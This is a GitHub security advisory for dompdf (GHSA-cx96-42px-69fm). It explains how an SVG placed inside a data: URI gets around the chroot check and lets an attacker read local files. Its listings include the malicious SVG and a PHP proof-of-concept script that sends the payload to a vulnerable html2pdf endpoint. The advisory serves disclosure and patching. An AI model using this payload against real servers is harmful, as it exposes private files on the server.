{"id":"GHSA-cx96-42px-69fm","summary":"Dompdf: Local file read due to improper file path validation in SVG images encoded as data-URI","details":"**Description:** An attacker, who controls the HTML input supplied to dompdf, can read arbitrary images from the server’s file system, bypassing the `chroot` restriction. The vulnerability is exploitable in the default configuration.\n**Exploitation conditions:** An external user\n**Researcher:** Nikita Sveshnikov (Positive Technologies)\n\n## Research\ndompdf restricts access to local files using the `chroot` mechanism. By default, `chroot` is set to the root directory of dompdf (`Options.php:350-351`):\n\n_Listing 1. `chroot` settings_\n```\n$rootDir = realpath(__DIR__ . \"/../\");\n$this-\u003esetChroot(array($rootDir));\n// result: chroot = [\"/path/to/vendor/dompdf/dompdf\"]\n```\nWhen the HTML references a local file, `Options::validateLocalUri()` checks that the path resides within `сhroot`. A direct link to the file outside this directory is correctly blocked:\n\n_Listing 2. Blocking link_\n```\n\u003c!-- BLOCKED: /tmp/ is outside chroot --\u003e\n\u003cimg src=\"file:///tmp/secret.png\"\u003e\n```\n### How the protection is bypassed:\nAn attacker wraps the link to the target file in SVG format and delivers it via `data:` URI:\n\n_Listing 3. Wrapping link in SVG_\n```\n\u003cimg src=\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0i...\"\u003e\n```\nInside the base64 payload is an SVG containing the `\u003cimage\u003e` element that points to the target file:\n\n_Listing 4. Pointing to the target file_\n```\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\"\n     width=\"589\" height=\"415\"\u003e\n  \u003cimage xlink:href=\"/tmp/secret.png\" x=\"0\" y=\"0\" width=\"589\" height=\"415\"/\u003e\n\u003c/svg\u003e\n```\n### Why the bypass works:\nThe issue is that dompdf handles the SVG twice: first through its own validator and then via  `php-svg-lib` — and the second pass does not apply the protection that the first pass does.\n\n**Step 1.** The `data://` protocol has no validation rules (`Options.php:546-547`):\n\n_Listing 5. Lack of rules_\n```\ncase \"data://\":\n    break;  // no rules\n```\n\nSVG content passes without any checks.\n\n**Step 2.** dompdf pre‑parses the SVG and validates the links inside it (`Cache.php:137-183`), but incorrectly interprets the path of an external resource (image) reference when the SVG is data-URI encoded.\n\n**Step 3.** When rendering, the PDF backend passes the SVG to `php-svg-lib` with external links enabled (`lib/Cpdf.php:6315-6319`):\n\n_Listing 6. Passing the SVG_\n```\n$doc = new \\Svg\\Document();\n$doc-\u003eallowExternalReferences = true;  // forced\n$doc-\u003eloadFile($file);\n```\n`php-svg-lib` is a separate library that has no information about the `chroot` directory or the dompdf validation rules.\n\n**Step 4.** The `\u003cimage\u003e` handler in `php-svg-lib` blocks only `phar://`, everything else is allowed when allowExternalReferences is true (`php-svg-lib/src/Svg/Tag/Image.php:60-68`):\n\n_Listing 7. `phar://` blocking_\n```\nif ($scheme === \"phar\"\n    || ($this-\u003edocument-\u003eallowExternalReferences === false && $scheme !== \"data\")) {\n    return;\n}\n$this-\u003edocument-\u003egetSurface()-\u003edrawImage($this-\u003ehref, ...);\n```\n**Step 5.** `drawImage()` invokes `file_get_contents()` with no restrictions (`php-svg-lib/src/Svg/Surface/SurfaceCpdf.php:171-172`):\n\n_Listing 8. `file_get_contents()` call_\n```\n$data = file_get_contents($image);  // reads ANY path\n```\nThere is no chroot check. No protocol validation. The file is read and embedded into the PDF.\n\n### An example of exploitation:\n_Listing 9. An example of a vulnerable code (html2pdf.php)_\n```\nrequire_once __DIR__ . '/vendor/autoload.php';\n\n$dompdf = new Dompdf\\Dompdf();\n$dompdf-\u003eloadHtml($_POST['html']);\n$dompdf-\u003erender();\n$dompdf-\u003estream('poc.pdf', ['Attachment' =\u003e false]);\n```\n\n_Listing 10. An example attack on the vulnerable code_\n```\n$file = $_GET['file'] ?? '/tmp/user_files/user_1/private_image.png';\n\n$svg = '\u003csvg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" width=\"589\" height=\"415\"\u003e'\n     . '\u003cimage xlink:href=\"' . htmlspecialchars($file, ENT_QUOTES) . '\" x=\"0\" y=\"0\" width=\"589\" height=\"415\"/\u003e'\n     . '\u003c/svg\u003e';\n\n$html = '\u003chtml\u003e\u003cbody\u003e'\n      . '\u003cimg src=\"data:image/svg+xml;base64,' . base64_encode($svg) . '\"\u003e'\n      . '\u003c/body\u003e\u003c/html\u003e';\n\n$url = 'http://example.com/html2pdf.php';\n$data = ['html' =\u003e $html];\n$headers = [\"Content-type: application/x-www-form-urlencoded\"];\n\n// use key 'http' even if you send the request to https://...\n$options = [\n    'http' =\u003e [\n        'header' =\u003e $headers,\n        'method' =\u003e 'POST',\n        'content' =\u003e http_build_query($data),\n        'ignore_errors' =\u003e true,\n    ],\n];\n$context = stream_context_create($options);\n$response = file_get_contents($url, false, $context);\n```\n\n_Figure 1. The image was read successfully_\n\u003cimg width=\"875\" height=\"404\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9a4ba3b7-df24-4c20-9dc4-55104ad905c2\" /\u003e\n\n## Credits\nNikita Sveshnikov (Positive Technologies)","aliases":["CVE-2026-56722"],"modified":"2026-07-22T23:25:40.693947Z","published":"2026-07-22T21:30:01Z","database_specific":{"nvd_published_at":null,"cwe_ids":["CWE-20","CWE-22"],"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-07-22T21:30:01Z"},"references":[{"type":"WEB","url":"https://github.com/dompdf/dompdf/security/advisories/GHSA-cx96-42px-69fm"},{"type":"WEB","url":"https://github.com/dompdf/dompdf/commit/6a58996865db05d8fede748507e50ac4b8c5bfd0"},{"type":"WEB","url":"https://github.com/dompdf/dompdf/commit/bf7b02f642e26007dedc5a22b3d6e15f9931120a"},{"type":"PACKAGE","url":"https://github.com/dompdf/dompdf"},{"type":"WEB","url":"https://github.com/dompdf/dompdf/releases/tag/v3.1.6"}],"affected":[{"package":{"name":"dompdf/dompdf","ecosystem":"Packagist","purl":"pkg:composer/dompdf/dompdf"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.6"}]}],"versions":["v0.6.0","v0.6.1","v0.6.2","v0.7.0","v0.7.0-beta","v0.7.0-beta2","v0.7.0-beta3","v0.8.0","v0.8.1","v0.8.2","v0.8.3","v0.8.4","v0.8.5","v0.8.6","v1.0.0","v1.0.1","v1.0.2","v1.1.0","v1.1.1","v1.2.0","v1.2.1","v1.2.2","v2.0.0","v2.0.1","v2.0.2","v2.0.3","v2.0.4","v2.0.5","v2.0.7","v2.0.8","v3.0.0","v3.0.1","v3.0.2","v3.1.0","v3.1.1","v3.1.2","v3.1.3","v3.1.4","v3.1.5"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-cx96-42px-69fm/GHSA-cx96-42px-69fm.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N"}]}